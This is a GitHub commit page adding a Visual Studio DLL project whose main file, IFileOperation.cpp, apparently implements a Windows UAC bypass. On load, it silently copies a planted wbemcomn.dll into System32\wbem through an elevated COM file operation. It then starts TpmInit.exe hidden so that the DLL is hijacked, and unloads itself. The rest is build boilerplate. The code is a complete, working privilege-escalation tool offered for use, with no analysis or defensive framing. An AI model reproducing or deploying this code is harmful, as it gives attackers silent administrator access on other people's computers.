Skip to content

Commit 2616624

Browse files
committed
Initial commit
1 parent c145ec0 commit 2616624

30 files changed

+7549
-0
lines changed

IFileOperation/IFileOperation.cpp

+73
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
#include "stdafx.h"
2+
#include <string>
3+
4+
5+
DWORD WINAPI SelfDestruct(LPVOID hModule) {
6+
FreeLibraryAndExitThread((HMODULE)hModule, 0);
7+
}
8+
9+
10+
BOOL APIENTRY DllMain(HMODULE hModule,
11+
DWORD ul_reason_for_call,
12+
LPVOID lpReserved
13+
)
14+
{
15+
LPCWSTR dllName = L"wbemcomn.dll";
16+
switch (ul_reason_for_call) {
17+
case DLL_PROCESS_ATTACH: {
18+
IFileOperation *fileOperation = NULL;
19+
WCHAR dllPath[1024];
20+
21+
GetModuleFileName(hModule, dllPath, 1024);
22+
std::wstring path(dllPath);
23+
const size_t last = path.rfind('\\');
24+
if (std::wstring::npos != last)
25+
{
26+
path = path.substr(0, last + 1);
27+
}
28+
path += dllName;
29+
30+
LPCWSTR destPath = L"C:\\windows\\System32\\wbem";
31+
HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE);
32+
if (SUCCEEDED(hr)) {
33+
hr = CoCreateInstance(CLSID_FileOperation, NULL, CLSCTX_ALL, IID_PPV_ARGS(&fileOperation));
34+
if (SUCCEEDED(hr)) {
35+
hr = fileOperation->SetOperationFlags(
36+
FOF_NOCONFIRMATION |
37+
FOF_SILENT |
38+
FOFX_SHOWELEVATIONPROMPT |
39+
FOFX_NOCOPYHOOKS |
40+
FOFX_REQUIREELEVATION |
41+
FOF_NOERRORUI);
42+
if (SUCCEEDED(hr)) {
43+
IShellItem *from = NULL, *to = NULL;
44+
hr = SHCreateItemFromParsingName(path.data(), NULL, IID_PPV_ARGS(&from));
45+
if (SUCCEEDED(hr)) {
46+
if (destPath)
47+
hr = SHCreateItemFromParsingName(destPath, NULL, IID_PPV_ARGS(&to));
48+
if (SUCCEEDED(hr)) {
49+
hr = fileOperation->CopyItem(from, to, dllName, NULL);
50+
if (NULL != to)
51+
to->Release();
52+
}
53+
from->Release();
54+
}
55+
if (SUCCEEDED(hr)) {
56+
hr = fileOperation->PerformOperations();
57+
}
58+
}
59+
fileOperation->Release();
60+
}
61+
CoUninitialize();
62+
}
63+
ShellExecute(NULL, NULL, L"C:\\Windows\\System32\\TpmInit.exe", NULL, NULL, SW_HIDE);
64+
CreateThread(NULL, 0, SelfDestruct, hModule, 0, NULL);
65+
}
66+
case DLL_THREAD_ATTACH:
67+
case DLL_THREAD_DETACH:
68+
case DLL_PROCESS_DETACH:
69+
break;
70+
}
71+
return TRUE;
72+
}
73+

IFileOperation/IFileOperation.vcxproj

+174
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,174 @@
1+
<?xml version="1.0" encoding="utf-8"?>
2+
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
3+
<ItemGroup Label="ProjectConfigurations">
4+
<ProjectConfiguration Include="Debug|Win32">
5+
<Configuration>Debug</Configuration>
6+
<Platform>Win32</Platform>
7+
</ProjectConfiguration>
8+
<ProjectConfiguration Include="Release|Win32">
9+
<Configuration>Release</Configuration>
10+
<Platform>Win32</Platform>
11+
</ProjectConfiguration>
12+
<ProjectConfiguration Include="Debug|x64">
13+
<Configuration>Debug</Configuration>
14+
<Platform>x64</Platform>
15+
</ProjectConfiguration>
16+
<ProjectConfiguration Include="Release|x64">
17+
<Configuration>Release</Configuration>
18+
<Platform>x64</Platform>
19+
</ProjectConfiguration>
20+
</ItemGroup>
21+
<PropertyGroup Label="Globals">
22+
<ProjectGuid>{C933A4B7-4650-4761-B50A-9EEEF15D2FF4}</ProjectGuid>
23+
<Keyword>Win32Proj</Keyword>
24+
<RootNamespace>IFileOperation</RootNamespace>
25+
<WindowsTargetPlatformVersion>8.1</WindowsTargetPlatformVersion>
26+
</PropertyGroup>
27+
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
28+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
29+
<ConfigurationType>DynamicLibrary</ConfigurationType>
30+
<UseDebugLibraries>true</UseDebugLibraries>
31+
<PlatformToolset>v140</PlatformToolset>
32+
<CharacterSet>Unicode</CharacterSet>
33+
</PropertyGroup>
34+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
35+
<ConfigurationType>DynamicLibrary</ConfigurationType>
36+
<UseDebugLibraries>false</UseDebugLibraries>
37+
<PlatformToolset>v140</PlatformToolset>
38+
<WholeProgramOptimization>true</WholeProgramOptimization>
39+
<CharacterSet>Unicode</CharacterSet>
40+
</PropertyGroup>
41+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
42+
<ConfigurationType>DynamicLibrary</ConfigurationType>
43+
<UseDebugLibraries>true</UseDebugLibraries>
44+
<PlatformToolset>v140</PlatformToolset>
45+
<CharacterSet>Unicode</CharacterSet>
46+
</PropertyGroup>
47+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
48+
<ConfigurationType>DynamicLibrary</ConfigurationType>
49+
<UseDebugLibraries>false</UseDebugLibraries>
50+
<PlatformToolset>v140</PlatformToolset>
51+
<WholeProgramOptimization>true</WholeProgramOptimization>
52+
<CharacterSet>Unicode</CharacterSet>
53+
</PropertyGroup>
54+
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
55+
<ImportGroup Label="ExtensionSettings">
56+
</ImportGroup>
57+
<ImportGroup Label="Shared">
58+
</ImportGroup>
59+
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
60+
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
61+
</ImportGroup>
62+
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
63+
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
64+
</ImportGroup>
65+
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
66+
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
67+
</ImportGroup>
68+
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
69+
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
70+
</ImportGroup>
71+
<PropertyGroup Label="UserMacros" />
72+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
73+
<LinkIncremental>true</LinkIncremental>
74+
</PropertyGroup>
75+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
76+
<LinkIncremental>true</LinkIncremental>
77+
</PropertyGroup>
78+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
79+
<LinkIncremental>false</LinkIncremental>
80+
</PropertyGroup>
81+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
82+
<LinkIncremental>false</LinkIncremental>
83+
</PropertyGroup>
84+
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
85+
<ClCompile>
86+
<PrecompiledHeader>
87+
</PrecompiledHeader>
88+
<WarningLevel>Level3</WarningLevel>
89+
<Optimization>Disabled</Optimization>
90+
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;IFILEOPERATION_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
91+
</ClCompile>
92+
<Link>
93+
<SubSystem>Windows</SubSystem>
94+
<GenerateDebugInformation>true</GenerateDebugInformation>
95+
<AdditionalDependencies>shell32.lib;ole32.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies)</AdditionalDependencies>
96+
</Link>
97+
</ItemDefinitionGroup>
98+
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
99+
<ClCompile>
100+
<PrecompiledHeader>
101+
</PrecompiledHeader>
102+
<WarningLevel>Level3</WarningLevel>
103+
<Optimization>Disabled</Optimization>
104+
<PreprocessorDefinitions>_DEBUG;_WINDOWS;_USRDLL;IFILEOPERATION_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
105+
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
106+
</ClCompile>
107+
<Link>
108+
<SubSystem>Windows</SubSystem>
109+
<GenerateDebugInformation>true</GenerateDebugInformation>
110+
<AdditionalDependencies>shell32.lib;ole32.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies)</AdditionalDependencies>
111+
</Link>
112+
</ItemDefinitionGroup>
113+
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
114+
<ClCompile>
115+
<WarningLevel>Level3</WarningLevel>
116+
<PrecompiledHeader>
117+
</PrecompiledHeader>
118+
<Optimization>MaxSpeed</Optimization>
119+
<FunctionLevelLinking>true</FunctionLevelLinking>
120+
<IntrinsicFunctions>true</IntrinsicFunctions>
121+
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;IFILEOPERATION_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
122+
</ClCompile>
123+
<Link>
124+
<SubSystem>Windows</SubSystem>
125+
<GenerateDebugInformation>true</GenerateDebugInformation>
126+
<EnableCOMDATFolding>true</EnableCOMDATFolding>
127+
<OptimizeReferences>true</OptimizeReferences>
128+
<AdditionalDependencies>shell32.lib;ole32.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies)</AdditionalDependencies>
129+
</Link>
130+
</ItemDefinitionGroup>
131+
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
132+
<ClCompile>
133+
<WarningLevel>Level3</WarningLevel>
134+
<PrecompiledHeader>
135+
</PrecompiledHeader>
136+
<Optimization>MaxSpeed</Optimization>
137+
<FunctionLevelLinking>true</FunctionLevelLinking>
138+
<IntrinsicFunctions>true</IntrinsicFunctions>
139+
<PreprocessorDefinitions>NDEBUG;_WINDOWS;_USRDLL;IFILEOPERATION_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
140+
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
141+
</ClCompile>
142+
<Link>
143+
<SubSystem>Windows</SubSystem>
144+
<GenerateDebugInformation>true</GenerateDebugInformation>
145+
<EnableCOMDATFolding>true</EnableCOMDATFolding>
146+
<OptimizeReferences>true</OptimizeReferences>
147+
<AdditionalDependencies>shell32.lib;ole32.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies)</AdditionalDependencies>
148+
</Link>
149+
</ItemDefinitionGroup>
150+
<ItemGroup>
151+
<ClInclude Include="stdafx.h" />
152+
<ClInclude Include="targetver.h" />
153+
</ItemGroup>
154+
<ItemGroup>
155+
<ClCompile Include="IFileOperation.cpp">
156+
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">false</CompileAsManaged>
157+
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
158+
</PrecompiledHeader>
159+
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">false</CompileAsManaged>
160+
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
161+
</PrecompiledHeader>
162+
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</CompileAsManaged>
163+
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
164+
</PrecompiledHeader>
165+
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|x64'">false</CompileAsManaged>
166+
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
167+
</PrecompiledHeader>
168+
</ClCompile>
169+
<ClCompile Include="stdafx.cpp" />
170+
</ItemGroup>
171+
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
172+
<ImportGroup Label="ExtensionTargets">
173+
</ImportGroup>
174+
</Project>
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
<?xml version="1.0" encoding="utf-8"?>
2+
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
3+
<ItemGroup>
4+
<Filter Include="Source Files">
5+
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
6+
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
7+
</Filter>
8+
<Filter Include="Header Files">
9+
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
10+
<Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>
11+
</Filter>
12+
<Filter Include="Resource Files">
13+
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
14+
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
15+
</Filter>
16+
</ItemGroup>
17+
<ItemGroup>
18+
<ClInclude Include="stdafx.h">
19+
<Filter>Header Files</Filter>
20+
</ClInclude>
21+
<ClInclude Include="targetver.h">
22+
<Filter>Header Files</Filter>
23+
</ClInclude>
24+
</ItemGroup>
25+
<ItemGroup>
26+
<ClCompile Include="stdafx.cpp">
27+
<Filter>Source Files</Filter>
28+
</ClCompile>
29+
<ClCompile Include="IFileOperation.cpp">
30+
<Filter>Source Files</Filter>
31+
</ClCompile>
32+
</ItemGroup>
33+
</Project>
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
<?xml version="1.0" encoding="utf-8"?>
2+
<Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
3+
<PropertyGroup />
4+
</Project>

IFileOperation/stdafx.cpp

+8
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
// stdafx.cpp : source file that includes just the standard includes
2+
// IFileOperation.pch will be the pre-compiled header
3+
// stdafx.obj will contain the pre-compiled type information
4+
5+
#include "stdafx.h"
6+
7+
// TODO: reference any additional headers you need in STDAFX.H
8+
// and not in this file

IFileOperation/stdafx.h

+18
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
// stdafx.h : include file for standard system include files,
2+
// or project specific include files that are used frequently, but
3+
// are changed infrequently
4+
//
5+
6+
#pragma once
7+
8+
#include "targetver.h"
9+
10+
//#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
11+
// Windows Header Files:
12+
#include <stdio.h>
13+
#include <Shobjidl.h>
14+
#include <windows.h>
15+
16+
17+
18+
// TODO: reference additional headers your program requires here

IFileOperation/targetver.h

+8
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
#pragma once
2+
3+
// Including SDKDDKVer.h defines the highest available Windows platform.
4+
5+
// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
6+
// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
7+
8+
#include <SDKDDKVer.h>

0 commit comments

Comments
 (0)